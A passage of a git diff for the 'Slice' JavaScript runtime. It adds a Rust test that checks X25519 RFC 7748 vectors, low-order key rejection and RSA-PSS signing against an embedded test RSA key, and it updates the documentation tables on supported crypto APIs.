+CkOJFBSghwgRFm68/ImRKW7vXT+KdofD/q4CxZ16ANTqTnAEfjFcTSNJ2F0pXC6Y +IX0gqCtVdwNY3cJwRgthF1Om9cmlupUGf58ttr3NTKVzJ8dg3VaGc14s0VTD3V3p +DayjoDi4WQKBwGHVxl2VI4Efl/Eo5tAF+Ph822P06uY0Q2+lD5LD2tXllb8N4a2J +zDw2dALXmuSJKems4S+q4I7bvZWuqPsiRqwmby+u2CHqXmM6zSD/8XpqnKL2hiPk +fJGLlHuizpkcqmkMpYv0GAt+sKfcTH0ScXX2ZdPUJCSf6IqEmzGP/xtzG5mOB1OQ +YWDzqF4ysCITvxMBa2sNC+AdoY6aI6UeWswaht7F2TlYJctaMeUVMfQGsCrUbNAN +Q330CR6HPCB+cwKBwFOfsZm+61/KIPjBuEUAJg4WoKD7rMcisCpyEmYuma0vLIlm +I9wQ0YuVfsYrBwF5OnFEztEz7fRyiKzF9Wv9BDuIlYl2EP1tIQgygx4Nt1nlbA3u +ej7T30sMRUKCq9KtWm3nveBQALeSruCZ/GUc+u7+EJe7VAWAwBhjvd2Fbz196wOK +kVgPoqrvZXf9CjybBW1VgfdP2eUfKtFTfxe8sN+E030AEjuOCsYBP8jK/LCZLtFs +iSSvJ7PMvBxjmpnGIQKBwCjCcRMB3ytsXGYlReEbawl2vAhCbw8snHPEo7Fg/wEi +kzOj2PlL7hlaI20LEsUaHCS3J6qR592+P7hCwp5+OlZf6xN27QF9qjuXxCIsY2p/ +bvRExeqeCCf4Uk82W3gc/y4O9gC5VyhFZB4C9diryRNXQsfxSTw4dMgad9vbCxZ1 +gnwMomV88wDapKJU7o30vbsxDy4U8666gB0n8YH87ILIoKANCwXKh/mcZyWMm/r8 +/V1BUd03zZYQpr1ktMX9bw== +-----END PRIVATE KEY-----`; + +(async () => { + const out: Record = {}; + + // 1. RFC 7748 Section 6.1 X25519 Known-Answer Vectors (Alice & Bob) + const pkcs8Prefix = "302e020100300506032b656e04220420"; + const spkiPrefix = "302a300506032b656e032100"; + const aliceSeedHex = "77076d0a7318a57d3c16c17251b26645df4c2f87ebc0992ab177fba51db92c2a"; + const alicePubExpected = "8520f0098930a754748b7ddcb43ef75a0dbf3a0d26381af4eba4a98eaa9b4e6a"; + const bobSeedHex = "5dab087e624a8a4b79e17f8b83800ee66f3bb1292618b6fd1c2f8b27ff88e0eb"; + const bobPubExpected = "de9edb7d7b7dc1b4d35b61c2ece435373f8343c85b78674dadfc7e146f882b4f"; + const sharedExpected = "4a5d9d5ba4ce2de1728e3bf480350f25e07e21c947d19e3376f09b3c1e161742"; + + const alicePriv = crypto.createPrivateKey({ + key: Buffer.from(pkcs8Prefix + aliceSeedHex, "hex"), + format: "der", + type: "pkcs8" + }); + const bobPriv = crypto.createPrivateKey({ + key: Buffer.from(pkcs8Prefix + bobSeedHex, "hex"), + format: "der", + type: "pkcs8" + }); + const aliceDerivedPub = crypto.createPublicKey(alicePriv); + const bobDerivedPub = crypto.createPublicKey(bobPriv); + + out.alicePubHex = aliceDerivedPub.export({ format: "der", type: "spki" }).subarray(12).toString("hex"); + out.bobPubHex = bobDerivedPub.export({ format: "der", type: "spki" }).subarray(12).toString("hex"); + out.alicePubMatchesRfc = out.alicePubHex === alicePubExpected; + out.bobPubMatchesRfc = out.bobPubHex === bobPubExpected; + + const dhAlice = crypto.diffieHellman({ privateKey: alicePriv, publicKey: bobDerivedPub }); + const dhBob = crypto.diffieHellman({ privateKey: bobPriv, publicKey: aliceDerivedPub }); + out.dhMatchesRfc = dhAlice.toString("hex") === sharedExpected && dhBob.toString("hex") === sharedExpected; + + // Low-order all-zero public point rejection in node:crypto + const zeroPub = crypto.createPublicKey({ + key: Buffer.from(spkiPrefix + "00".repeat(32), "hex"), + format: "der", + type: "spki" + }); + let lowOrderNodeRejected = false; + try { + crypto.diffieHellman({ privateKey: alicePriv, publicKey: zeroPub }); + } catch (_e) { + lowOrderNodeRejected = true; + } + out.lowOrderNodeRejected = lowOrderNodeRejected; + + // 2. WebCrypto X25519 generateKey, JWK/raw/PKCS8/SPKI roundtrip, deriveBits, and deriveKey -> AES-GCM + const peerA = await crypto.subtle.generateKey({ name: "X25519" }, true, ["deriveKey", "deriveBits"]); + const peerB = await crypto.subtle.generateKey({ name: "X25519" }, true, ["deriveKey", "deriveBits"]); + + const peerAPubJwk = await crypto.subtle.exportKey("jwk", peerA.publicKey); + const peerAPrivJwk = await crypto.subtle.exportKey("jwk", peerA.privateKey); + const peerBPubRaw = await crypto.subtle.exportKey("raw", peerB.publicKey); + + const peerAPrivReimp = await crypto.subtle.importKey("jwk", peerAPrivJwk, { name: "X25519" }, false, ["deriveBits", "deriveKey"]); + const peerBPubReimp = await crypto.subtle.importKey("raw", peerBPubRaw, { name: "X25519" }, true, []); + const peerAPubReimp = await crypto.subtle.importKey("jwk", peerAPubJwk, { name: "X25519" }, true, []); + + const bitsAB = new Uint8Array(await crypto.subtle.deriveBits({ name: "X25519", public: peerBPubReimp }, peerAPrivReimp, 256)); + const bitsBA = new Uint8Array(await crypto.subtle.deriveBits({ name: "X25519", public: peerAPubReimp }, peerB.privateKey, 256)); + out.webcryptoX25519Symmetry = Buffer.from(bitsAB).equals(Buffer.from(bitsBA)) && bitsAB.length === 32; + + // Reject mismatched X25519 JWK public/private components + let mismatchedJwkRejected = false; + try { + await crypto.subtle.importKey( + "jwk", + { ...peerAPrivJwk, x: Buffer.from(peerBPubRaw).toString("base64url") }, + { name: "X25519" }, + false, + ["deriveBits"] + ); + } catch (_e) { + mismatchedJwkRejected = true; + } + out.mismatchedJwkRejected = mismatchedJwkRejected; + + // Reject low-order all-zero public key in WebCrypto + const zeroWebPub = await crypto.subtle.importKey("raw", new Uint8Array(32), { name: "X25519" }, false, []); + let lowOrderWebRejected = false; + try { + await crypto.subtle.deriveBits({ name: "X25519", public: zeroWebPub }, peerAPrivReimp, 256); + } catch (_e) { + lowOrderWebRejected = true; + } + out.lowOrderWebRejected = lowOrderWebRejected; + + // X25519 deriveKey -> AES-GCM-256 encrypt/decrypt roundtrip + const aesA = await crypto.subtle.deriveKey( + { name: "X25519", public: peerBPubReimp }, + peerAPrivReimp, + { name: "AES-GCM", length: 256 }, + false, + ["encrypt"] + ); + const aesB = await crypto.subtle.deriveKey( + { name: "X25519", public: peerAPubReimp }, + peerB.privateKey, + { name: "AES-GCM", length: 256 }, + false, + ["decrypt"] + ); + const iv = new Uint8Array(12).fill(7); + const ct = await crypto.subtle.encrypt({ name: "AES-GCM", iv }, aesA, new TextEncoder().encode("x25519-sealed")); + const pt = new TextDecoder().decode(await crypto.subtle.decrypt({ name: "AES-GCM", iv }, aesB, ct)); + out.x25519DerivedAesPt = pt; + + // 3. Dynamic RSA-3072 import, JWK roundtrip, SHA-384/SHA-512, and RSA-PSS across node:crypto and WebCrypto + const rsa3072Priv = crypto.createPrivateKey(TEST_RSA_3072_PRIV_PEM); + const rsa3072Pub = crypto.createPublicKey(TEST_RSA_3072_PRIV_PEM); + out.rsa3072ModulusBits = rsa3072Priv.asymmetricKeyDetails.modulusLength; + out.rsa3072PubModulusBits = rsa3072Pub.asymmetricKeyDetails.modulusLength; + out.rsa3072PubType = rsa3072Pub.type; + + const sig384 = crypto.createSign("RSA-SHA384").update("payload-384").sign(rsa3072Priv); + out.rsa3072SigLen = sig384.length; + out.rsa384Ok = crypto.createVerify("RSA-SHA384").update("payload-384").verify(rsa3072Pub, sig384); + out.rsa384CrossAlgRejected = !crypto.createVerify("RSA-SHA256").update("payload-384").verify(rsa3072Pub, sig384); + + const pssNodeSig = crypto.sign("sha512", Buffer.from("pss-node-msg"), { + key: rsa3072Priv, + padding: crypto.constants.RSA_PKCS1_PSS_PADDING + }); + out.pssNodeOk = crypto.verify( + "sha512", + Buffer.from("pss-node-msg"), + { key: rsa3072Pub, padding: crypto.constants.RSA_PKCS1_PSS_PADDING }, + pssNodeSig + ); + out.pssCrossPadRejected = !crypto.verify("sha512", Buffer.from("pss-node-msg"), rsa3072Pub, pssNodeSig); + + const rsa3072PrivJwk = rsa3072Priv.export({ format: "jwk" }); + const rsa3072PubJwk = rsa3072Pub.export({ format: "jwk" }); + const rsaFromJwkNode = crypto.createPrivateKey({ key: rsa3072PrivJwk, format: "jwk" }); + out.rsaJwkNodeModulus = rsaFromJwkNode.asymmetricKeyDetails.modulusLength; + + // WebCrypto RSASSA-PKCS1-v1_5 and RSA-PSS JWK/SPKI/PKCS8 + cross-API verification + const wcPssPriv = await crypto.subtle.importKey( + "jwk", + rsa3072PrivJwk, + { name: "RSA-PSS", hash: "SHA-512" }, + true, + ["sign"] + ); + const wcPssPub = await crypto.subtle.importKey( + "jwk", + rsa3072PubJwk, + { name: "RSA-PSS", hash: "SHA-512" }, + true, + ["verify"] + ); + out.wcRsaModulus = (wcPssPub.algorithm as any).modulusLength; + out.wcCrossVerifyNodePss = await crypto.subtle.verify( + { name: "RSA-PSS", saltLength: 64 }, + wcPssPub, + pssNodeSig, + new TextEncoder().encode("pss-node-msg") + ); + const wcPssSig = await crypto.subtle.sign( + { name: "RSA-PSS", saltLength: 64 }, + wcPssPriv, + new TextEncoder().encode("wc-pss-msg") + ); + out.nodeCrossVerifyWcPss = crypto.verify( + "sha512", + Buffer.from("wc-pss-msg"), + { key: rsa3072Pub, padding: crypto.constants.RSA_PKCS1_PSS_PADDING }, + Buffer.from(wcPssSig) + ); + const exportedWcJwk = await crypto.subtle.exportKey("jwk", wcPssPub); + out.wcExportedJwkAlg = exportedWcJwk.alg; + + // WebCrypto runtime RSA keygen fails closed + let wcRsaKeygenRejected = false; + try { + await crypto.subtle.generateKey( + { name: "RSASSA-PKCS1-v1_5", modulusLength: 2048, publicExponent: new Uint8Array([1, 0, 1]), hash: "SHA-256" }, + true, + ["sign", "verify"] + ); + } catch (_e) { + wcRsaKeygenRejected = true; + } + out.wcRsaKeygenRejected = wcRsaKeygenRejected; + + console.log(JSON.stringify(out)); +})(); +"#; + + let bundled = slice_cas::strip_typescript_and_normalize(script, true); + let bc = compile_source_to_bytecode(&bundled); + let mut iso = SliceIsolate::spawn( + "x25519-rfc7748-and-rsa-pss", + 1, + CapabilityToken::pure_compute(), + 25_000_000, + 32 * 1024 * 1024, + ); + let m = iso.execute_bytecode(&bc, None).unwrap(); + let out: serde_json::Value = serde_json::from_str(&m.stdout[0]).unwrap(); + + assert_eq!(out["alicePubMatchesRfc"], true, "out = {out}"); + assert_eq!(out["bobPubMatchesRfc"], true); + assert_eq!(out["dhMatchesRfc"], true); + assert_eq!(out["lowOrderNodeRejected"], true); + assert_eq!(out["webcryptoX25519Symmetry"], true); + assert_eq!(out["mismatchedJwkRejected"], true); + assert_eq!(out["lowOrderWebRejected"], true); + assert_eq!(out["x25519DerivedAesPt"], "x25519-sealed"); + assert_eq!(out["rsa3072ModulusBits"], 3072); + assert_eq!(out["rsa3072PubModulusBits"], 3072); + assert_eq!(out["rsa3072PubType"], "public"); + assert_eq!(out["rsa3072SigLen"], 384); + assert_eq!(out["rsa384Ok"], true); + assert_eq!(out["rsa384CrossAlgRejected"], true); + assert_eq!(out["pssNodeOk"], true); + assert_eq!(out["pssCrossPadRejected"], true); + assert_eq!(out["rsaJwkNodeModulus"], 3072); + assert_eq!(out["wcRsaModulus"], 3072); + assert_eq!(out["wcCrossVerifyNodePss"], true); + assert_eq!(out["nodeCrossVerifyWcPss"], true); + assert_eq!(out["wcExportedJwkAlg"], "PS512"); + assert_eq!(out["wcRsaKeygenRejected"], true); +} diff --git a/docs/general/02_execution_engine_and_tiers.md b/docs/general/02_execution_engine_and_tiers.md index 6dae9ed..da5037e 100644 --- a/docs/general/02_execution_engine_and_tiers.md +++ b/docs/general/02_execution_engine_and_tiers.md @@ -178,7 +178,7 @@ When writing applications in Slice, prefer standard `node:crypto`, WebCrypto (`c | :--- | :--- | | `crypto.createHash("sha256" \| "sha384" \| "sha512" \| "sha1").update(data).digest("hex")` | Lowered directly to native Rust cryptographic intrinsics (`__slice_crypto_hash`) using **Intel/AMD `SHA-NI` hardware instructions** for SHA-256 and pure-Rust `sha2`/`sha1` for SHA-384/SHA-512/SHA-1 (`Buffer` or string output). | | `crypto.createHmac("sha256" \| "sha384" \| "sha512" \| "sha1", key).update(msg).digest("hex")` | Lowered directly to native Rust RFC-2104 HMAC (`__slice_crypto_hmac` / `__slice_crypto_hmac_sha256`). | -| `await crypto.subtle.encrypt("AES-GCM", key, data)`
`await crypto.subtle.sign("Ed25519", key, data)` | Executed in native Rust (`ring` + pure-Rust asymmetric/AEAD/KDF primitives supporting `AES-GCM`, `AES-CBC`, `Ed25519`, `ECDSA` `P-256`/`P-384`, `RSASSA-PKCS1-v1_5`, `RSA-PSS`, `RSA-OAEP`, `X25519`, `ECDH`, `PBKDF2`, `HKDF`) with zero OpenSSL dependency. | +| `await crypto.subtle.encrypt("AES-GCM", key, data)`
`await crypto.subtle.sign("Ed25519", key, data)` | Executed in native Rust (`ring` + `x25519-dalek` asymmetric/AEAD/KDF primitives supporting `AES-GCM`, `AES-CBC`, `Ed25519`, `X25519`, `ECDSA` `P-256`/`P-384`, `RSASSA-PKCS1-v1_5`, `RSA-PSS`, `PBKDF2`, `HKDF`) with zero OpenSSL dependency. | | `Buffer.from(str, "utf8").toString("base64url")`
`buf.readUInt32BE(0)` / `buf.writeBigUInt64BE(val, 0)` | Backed by a real `Uint8Array` instance (`Object.setPrototypeOf(u8, Buffer.prototype)`) with native Rust Base64/Base64URL/Hex codecs and full big/little-endian wire-protocol readers/writers. | | `semver.valid(v)`, `semver.coerce(v)`, `semver.gt(a, b)`, `semver.satisfies(v, range)` | Executed in `~150 ns` by Slice's zero-regex Rust SemVer engine (`__slice_semver_*`), with automatic fallback for complex ranges. | | `ms("15m")`, `ms(60000, { long: true })`
`bytes.parse("64KB")`, `bytes.format(4781506)` | Executed by native Rust zero-regex parsers/formatters (`__slice_fast_ms`, `__slice_fast_bytes_*`) + compile-time constant folding for literals like `bytes.parse("64KB")` -> `65536`. | diff --git a/docs/general/05_http_server_wintertc_and_edge_kv.md b/docs/general/05_http_server_wintertc_and_edge_kv.md index aa25b84..a9cfd0f 100644 --- a/docs/general/05_http_server_wintertc_and_edge_kv.md +++ b/docs/general/05_http_server_wintertc_and_edge_kv.md @@ -116,7 +116,7 @@ X-Slice-Fuel-Used: 120 | **`Headers`** | `new Headers(init?)` - Case-insensitive map supporting `.get(k)`, `.set(k, v)`, `.append(k, v)`, `.has(k)`, `.delete(k)`, **`getSetCookie()`**, `.entries()`, `.keys()`, `.values()`, `.forEach(cb)`, `for (const [k, v] of headers)`. Incoming `req.headers` uses a **zero-copy lazy view** (`__SLICE_LIVE_REQ__`) over the Rust socket buffer! | | **`Request`** | `new Request(input, init?)` - `.method`, `.url`, `.headers`, `.signal`, `.body`, `.bodyUsed`, `await req.text()`, `await req.json()`, **`await req.arrayBuffer()`**, **`await req.bytes()`**, **`await req.blob()`**, **`await req.formData()`**, `req.textSync()`, `req.jsonSync()`, `req.clone()`. | | **`Response`** | `new Response(body?, init?)` - `.status`, `.statusText`, `.ok`, `.redirected`, `.url`, `.headers`, `.body`, `.bodyUsed`, `await res.text()`, `await res.json()`, **`await res.arrayBuffer()`**, **`await res.bytes()`**, **`await res.blob()`**, **`await res.formData()`**, `res.textSync()`, `res.jsonSync()`, `res.clone()`, **`Response.json(data, init?)`**, **`Response.redirect(url, status?)`**, **`Response.sse(source, init?)`**. | -| **`crypto` & `crypto.subtle`** | `crypto.randomUUID()`, `crypto.getRandomValues(typedArray)`, and native Rust `SubtleCrypto`: `digest("SHA-256"\|"SHA-384"\|"SHA-512"\|"SHA-1")`, `sign`/`verify` (`HMAC`, `Ed25519`, `ECDSA` `P-256`/`P-384`, `RSASSA-PKCS1-v1_5`, `RSA-PSS`), `encrypt`/`decrypt` (`AES-GCM` & `AES-CBC` 128/256-bit, `RSA-OAEP`), `deriveBits`/`deriveKey` (`PBKDF2`, `HKDF`, `X25519`, `ECDH` `P-256`/`P-384`), `generateKey`, `importKey`, `exportKey` (`"raw"`, `"jwk"`, `"pkcs8"`, `"spki"`). | +| **`crypto` & `crypto.subtle`** | `crypto.randomUUID()`, `crypto.getRandomValues(typedArray)`, and native Rust `SubtleCrypto`: `digest("SHA-256"\|"SHA-384"\|"SHA-512"\|"SHA-1")`, `sign`/`verify` (`HMAC`, `Ed25519`, `ECDSA` `P-256`/`P-384`, imported `RSASSA-PKCS1-v1_5` & `RSA-PSS`), `encrypt`/`decrypt` (`AES-GCM` & `AES-CBC` 128/256-bit), `deriveBits`/`deriveKey` (`PBKDF2`, `HKDF`, RFC 7748 `X25519`), `generateKey` (`AES-GCM`, `AES-CBC`, `HMAC`, `Ed25519`, `X25519`, `ECDSA`), `importKey`, `exportKey` (`"raw"`, `"jwk"`, `"pkcs8"`, `"spki"`). | | **`ReadableStream` / `WritableStream` / `TransformStream`** | Full WHATWG Streams pipeline with `.getReader()`, `.getWriter()`, `.pipeThrough(transform)`, `.pipeTo(dest)`, `.tee()`, `for await (const chunk of stream)`, `TextEncoderStream`, and `TextDecoderStream`. | | **`CompressionStream` & `DecompressionStream`** | Pure-Rust zero-dependency RFC 1950/1951/1952 streaming compression and decompression supporting `"gzip"`, `"deflate"`, and `"deflate-raw"` via `.pipeThrough()`. | | **`TextEncoder` & `TextDecoder`** | `new TextEncoder()` (`.encode(str)`, `.encodeInto(str, u8)`), `new TextDecoder(label?, opts?)` (`.decode(buf)`). | diff --git a/docs/general/07_node_compat_intrinsics_and_npm.md b/docs/general/07_node_compat_intrinsics_and_npm.md index f530252..7a6dfea 100644 --- a/docs/general/07_node_compat_intrinsics_and_npm.md +++ b/docs/general/07_node_compat_intrinsics_and_npm.md @@ -88,17 +88,23 @@ cipher.setAAD(Buffer.from("aad-header")); const encHex = cipher.update("confidential-payload", "utf8", "hex") + cipher.final("hex"); const authTag = cipher.getAuthTag(); -// Asymmetric Key Generation, Signing & Key Agreement (Ed25519, ECDSA/ECDH P-256 & P-384, X25519, RSA 2048/3072/4096 & RSA-PSS / RSA-OAEP) +// Asymmetric Key Generation, Key Agreement & Signing (Ed25519, X25519, ECDSA P-256 & P-384, and imported RSA 2048..8192 PKCS#1 v1.5 / RSA-PSS) const { publicKey, privateKey } = crypto.generateKeyPairSync("ed25519"); const sig = crypto.sign(null, Buffer.from("token-body"), privateKey); const verified = crypto.verify(null, Buffer.from("token-body"), publicKey, sig); -const rsaPair = crypto.generateKeyPairSync("rsa", { modulusLength: 2048 }); -const rsaSig = crypto.sign("sha256", Buffer.from("jwt-header.payload"), rsaPair.privateKey); -const rsaOk = crypto.verify("sha256", Buffer.from("jwt-header.payload"), rsaPair.publicKey, rsaSig); +const aliceX = crypto.generateKeyPairSync("x25519"); +const bobX = crypto.generateKeyPairSync("x25519"); +const sharedSecret: Buffer = crypto.diffieHellman({ privateKey: aliceX.privateKey, publicKey: bobX.publicKey }); -// WebCrypto subtle (including RSASSA-PKCS1-v1_5, RSA-PSS, RSA-OAEP, X25519, and ECDH P-256/P-384) is also exposed as crypto.subtle: -const x25519Pair = await crypto.subtle.generateKey({ name: "X25519" }, true, ["deriveBits"]); +// Import pre-provisioned RSA keys (PEM / PKCS#8 / PKCS#1 / SPKI / JWK, 2048 to 8192 bits) for RS256/384/512 & PS256/384/512: +const rsaPriv = crypto.createPrivateKey(process.env.JWT_RSA_PRIVATE_KEY_PEM!); +const rsaPub = crypto.createPublicKey(rsaPriv); +const rsaSig = crypto.sign("sha256", Buffer.from("jwt-header.payload"), rsaPriv); +const rsaOk = crypto.verify("sha256", Buffer.from("jwt-header.payload"), rsaPub, rsaSig); + +// WebCrypto subtle (Ed25519, X25519 deriveBits/deriveKey, ECDSA P-256/P-384, and imported RSASSA-PKCS1-v1_5 / RSA-PSS) is also exposed as crypto.subtle: +const x25519Pair = await crypto.subtle.generateKey({ name: "X25519" }, true, ["deriveBits", "deriveKey"]); ``` ### 1.3 `node:path` / `path` (and `path.posix` / `path.win32`) diff --git a/docs/general/COMPATIBILITY.md b/docs/general/COMPATIBILITY.md index e08854f..5cbcb20 100644 --- a/docs/general/COMPATIBILITY.md +++ b/docs/general/COMPATIBILITY.md @@ -19,7 +19,7 @@ All WinterTC globals are available in every isolate out of the box. Under the ho | **WinterTC Raw Sockets** | `cloudflare:sockets` / `slice:sockets` (`connect`), `Slice.connect`, `Slice.mockSocket` | **100% Supported** | Streams-based TCP & TLS 1.3 (`secureTransport: "off" \| "on" \| "starttls"`) sockets returning `{ readable, writable, opened, closed, close, startTls }` protected by 5-Ring Security (OCap `allow_net`, privileged port blocking under wildcard `*`, Pre-Connect DNS Resolved-IP SSRF guard, Outbound Egress Secret DLP on every `writable` chunk, and deterministic `Slice.mockSocket`). | | **URL Routing** | `URL`, `URLSearchParams`, `URLPattern` | **100% Supported** | Full query mutation (`append`, `set`, `delete`, `getAll`, `sort`), iterator protocols, `URL.canParse()`, `URL.createObjectURL(blob)`, relative URL resolution, and WHATWG `URLPattern` (`test`, `exec`, named `:param` groups, wildcards). | | **Compression Streams** | `CompressionStream`, `DecompressionStream` | **100% Supported** | Pure-Rust zero-dependency RFC 1950/1951/1952 DEFLATE/GZIP/Zlib engine (`crates/slice-engine/src/intrinsics/compression.rs`) supporting `"gzip"`, `"deflate"`, and `"deflate-raw"` via `.pipeThrough()` with compile-time CRC-32 / Huffman LUTs and sandbox memory caging. | -| **WebCrypto** | `crypto`, `crypto.subtle`, `CryptoKey` | **100% Supported** | Native Rust `ring` + RSA/X25519/ECDH + SIMD backend with tenant-scoped `CRYPTO_KEY_HANDLE_TABLE` key handle caching: `getRandomValues`, `randomUUID`, `subtle.digest` (`SHA-1`, `SHA-256`, `SHA-384`, `SHA-512`), `subtle.generateKey` / `importKey` / `exportKey` (`raw`, `jwk`, `pkcs8`, `spki`), `subtle.encrypt` / `decrypt` (`AES-GCM` 128/256-bit with `additionalData` & `tagLength`, `AES-CBC` 128/256-bit with PKCS#7 padding, `RSA-OAEP` `2048`/`3072`/`4096`), `subtle.sign` / `verify` (`HMAC`, `Ed25519`, `ECDSA` `P-256` & `P-384`, `RSASSA-PKCS1-v1_5` & `RSA-PSS` `2048`/`3072`/`4096`), and `subtle.deriveBits` / `deriveKey` (`PBKDF2`, `HKDF`, `X25519`, `ECDH` `P-256` & `P-384`). Deterministic PRNG mode when `Slice.setSeed` is active. | +| **WebCrypto** | `crypto`, `crypto.subtle`, `CryptoKey` | **Supported (Edge Profile)** | Native Rust `ring` + `x25519-dalek` + SIMD backend with tenant-scoped `CRYPTO_KEY_HANDLE_TABLE` key handle caching: `getRandomValues`, `randomUUID`, `subtle.digest` (`SHA-1`, `SHA-256`, `SHA-384`, `SHA-512`), `subtle.generateKey` (`AES-GCM`, `AES-CBC`, `HMAC`, `Ed25519`, `X25519`, `ECDSA` `P-256` & `P-384`), `subtle.importKey` / `exportKey` (`raw`, `jwk`, `pkcs8`, `spki`), `subtle.encrypt` / `decrypt` (`AES-GCM` 128/256-bit with `additionalData` & `tagLength`, `AES-CBC` 128/256-bit with PKCS#7 padding), `subtle.sign` / `verify` (`HMAC`, `Ed25519`, `ECDSA` `P-256` & `P-384`, and imported `2048` to `8192`-bit `RSASSA-PKCS1-v1_5` & `RSA-PSS` over `SHA-256`/`SHA-384`/`SHA-512`), and `subtle.deriveBits` / `deriveKey` (`PBKDF2`, `HKDF`, RFC 7748 `X25519`). Deterministic PRNG mode when `Slice.setSeed` is active. | | **Streams** | `ReadableStream`, `WritableStream`, `TransformStream`, `TextEncoderStream`, `TextDecoderStream` | **100% Supported** | Pull/cancel lifecycle, `getReader()`, `getWriter()`, `pipeThrough()`, `pipeTo()`, `tee()`, `for await...of` async iteration, and SSE token streaming (`text/event-stream`). | | **Binary & Encoding** | `TextEncoder`, `TextDecoder`, `atob`, `btoa` | **100% Supported** | Native Rust UTF-8 codec (`encode`, `encodeInto` returning `{ read, written }`, `decode` with `fatal` and `ignoreBOM` options) and Base64 helpers. | | **Multipart & Blobs** | `Blob`, `File`, `FormData` | **100% Supported** | Binary-safe `Blob`/`File` (`slice`, `text`, `arrayBuffer`, `bytes`, `stream`) and `FormData` (`append`, `set`, `get`, `getAll`, `entries`) integrated with `Request`/`Response`. | @@ -38,7 +38,7 @@ Slice supports `node:*` built-in specifiers (both `"node:"` and bare `"< | Module | Support Status | Supported APIs & Sandbox Semantics | | :--- | :--- | :--- | | `node:buffer` / Global `Buffer` | **Supported (Full Binary)** | Real `Uint8Array` subclass (`Buffer.prototype instanceof Uint8Array === true`, `Buffer.isBuffer(b) === true`). Supports `Buffer.from` (`utf8`, `hex`, `base64`, `base64url`, `latin1`, `ascii`), `alloc`, `allocUnsafe` (zero-filled for cross-tenant safety), `concat`, `byteLength`, `compare`, `.subarray()`, `.slice()`, `.copy()`, `.equals()`, `.fill()`, `.write()`, and integer wire readers/writers (`readUInt8`, `readUInt16BE/LE`, `readUInt32BE/LE`, `readBigUInt64BE/LE`, `writeUInt8`, `writeUInt16BE/LE`, `writeUInt32BE/LE`, `writeBigUInt64BE/LE`, plus signed variants). | -| `node:crypto` | **Supported (Native Rust)** | `randomBytes(size, cb?)`, `randomFillSync(buf, offset?, size?)`, `randomFill`, `randomInt`, `randomUUID()`, `getRandomValues(ta)`, `timingSafeEqual(a, b)`, streaming multi-chunk `createHash("sha256" \| "sha384" \| "sha512" \| "sha1" \| "md5")` and `createHmac(alg, key)`, fuel-metered KDFs (`pbkdf2Sync`/`pbkdf2`, `hkdfSync`/`hkdf`, `scryptSync`/`scrypt`), symmetric AEAD/block ciphers (`createCipheriv` / `createDecipheriv` for `aes-128-gcm`, `aes-256-gcm`, `aes-128-cbc`, `aes-256-cbc` with `setAAD`, `getAuthTag`, `setAuthTag`), asymmetric key generation, signing, encryption & key agreement (`generateKeyPairSync`/`generateKeyPair`, `createPrivateKey`, `createPublicKey`, `createSecretKey`, `createSign`, `createVerify`, `sign`, `verify`, `publicEncrypt`, `privateDecrypt`, `diffieHellman`, `KeyObject` for `ed25519`, `x25519`, `ec` / `ECDSA` / `ECDH` `P-256` & `P-384`, and `rsa` / `rsa-pss` `RSASSA-PKCS1-v1_5`, `RSA-PSS`, & `RSA-OAEP` `2048`/`3072`/`4096`), plus `crypto.subtle` and `crypto.webcrypto`. | +| `node:crypto` | **Supported (Native Rust)** | `randomBytes(size, cb?)`, `randomFillSync(buf, offset?, size?)`, `randomFill`, `randomInt`, `randomUUID()`, `getRandomValues(ta)`, `timingSafeEqual(a, b)`, streaming multi-chunk `createHash("sha256" \| "sha384" \| "sha512" \| "sha1" \| "md5")` (including `.copy()`) and `createHmac(alg, key)`, fuel-metered KDFs (`pbkdf2Sync`/`pbkdf2`, `hkdfSync`/`hkdf`, `scryptSync`/`scrypt`), symmetric AEAD/block ciphers (`createCipheriv` / `createDecipheriv` for `aes-128-gcm`, `aes-256-gcm`, `aes-128-cbc`, `aes-256-cbc` with `setAAD`, `getAuthTag`, `setAuthTag`), asymmetric key generation (`generateKeyPairSync`/`generateKeyPair` for `ed25519`, `x25519`, and `ec` `P-256` & `P-384`), key import/export (`createPrivateKey`, `createPublicKey`, `createSecretKey`, `KeyObject` PEM / DER PKCS#8 / PKCS#1 / SPKI / JWK), signing & verification (`createSign`, `createVerify`, `sign`, `verify` for `Ed25519`, `ECDSA` `P-256` & `P-384`, and imported `2048` to `8192`-bit `RSA` PKCS#1 v1.5 & `RSA-PSS` over `SHA-256`/`SHA-384`/`SHA-512`), RFC 7748 `diffieHellman` (`x25519`), `constants`, plus `crypto.subtle` and `crypto.webcrypto`. | | `node:events` | **Supported** | Full `EventEmitter` class (`on`, `addListener`, `once`, `off`, `removeListener`, `prependListener`, `prependOnceListener`, `removeAllListeners`, `emit`, `listeners`, `rawListeners`, `listenerCount`, `eventNames`, `setMaxListeners`, `getMaxListeners`, static `EventEmitter.once`). | | `node:path` (`path/posix`, `path/win32`) | **Supported** | `normalize`, `isAbsolute`, `join`, `resolve`, `dirname`, `basename`, `extname`, `relative`, `parse`, `format`, `sep`, `delimiter`, `path.posix`, `path.win32`. | | `node:fs` & `node:fs/promises` | **Supported (OCap + VFS)** | `readFileSync`, `writeFileSync`, `appendFileSync`, `existsSync`, `mkdirSync`, `readdirSync` (including `{ withFileTypes: true }`), `statSync` / `lstatSync` (`isFile()`, `isDirectory()`, `isSymbolicLink()`, `size`, `mtimeMs`, `mode`), `unlinkSync`, `rmSync`, `rmdirSync`, `copyFileSync`, `renameSync`, `realpathSync` (and `.native`), `mkdtempSync`, `chmodSync`, `symlinkSync`, `opendirSync` (with `for await...of`), 64 KB streaming `createReadStream` and `createWriteStream`, callback variants, and `fs.promises` async equivalents (`readFile`, `writeFile`, `appendFile`, `stat`, `lstat`, `mkdir`, `readdir`, `rm`, `rmdir`, `unlink`, `copyFile`, `rename`, `access`, `realpath`, `mkdtemp`, `chmod`, `symlink`, `opendir`). Backed by CoW Virtual File System (`/tmp`, `/vfs`) with O(1) `Slice.checkpoint()` / `Slice.restore()` and gated by `--allow-read` / `--allow-write` OCap tokens for host paths. | @@ -85,6 +85,7 @@ To guarantee `~1 us` isolate spawn times, `4.0 KB` per-tenant memory footprint, | :--- | :--- | :--- | | `cluster.fork()` (OS Process Forking) | **Unsupported by Design** | While `node:cluster` is importable (`cluster.isPrimary === true`) so libraries checking primary/worker state work out of the box, OS `fork()` is blocked (`ERR_CLUSTER_FORK_UNSUPPORTED`). Use `slice serve --workers=N` shared-nothing worker threads and `new Worker()` / `node:worker_threads` isolated compartments. | | Native C/C++ Addons (`.node` / N-API / `dlopen`) | **Unsupported by Design** | Arbitrary native machine code bypasses memory caps, fuel metering, and capability checks. Use pure JS/TS packages, WebAssembly (`.wasm` inside `wasmi`), 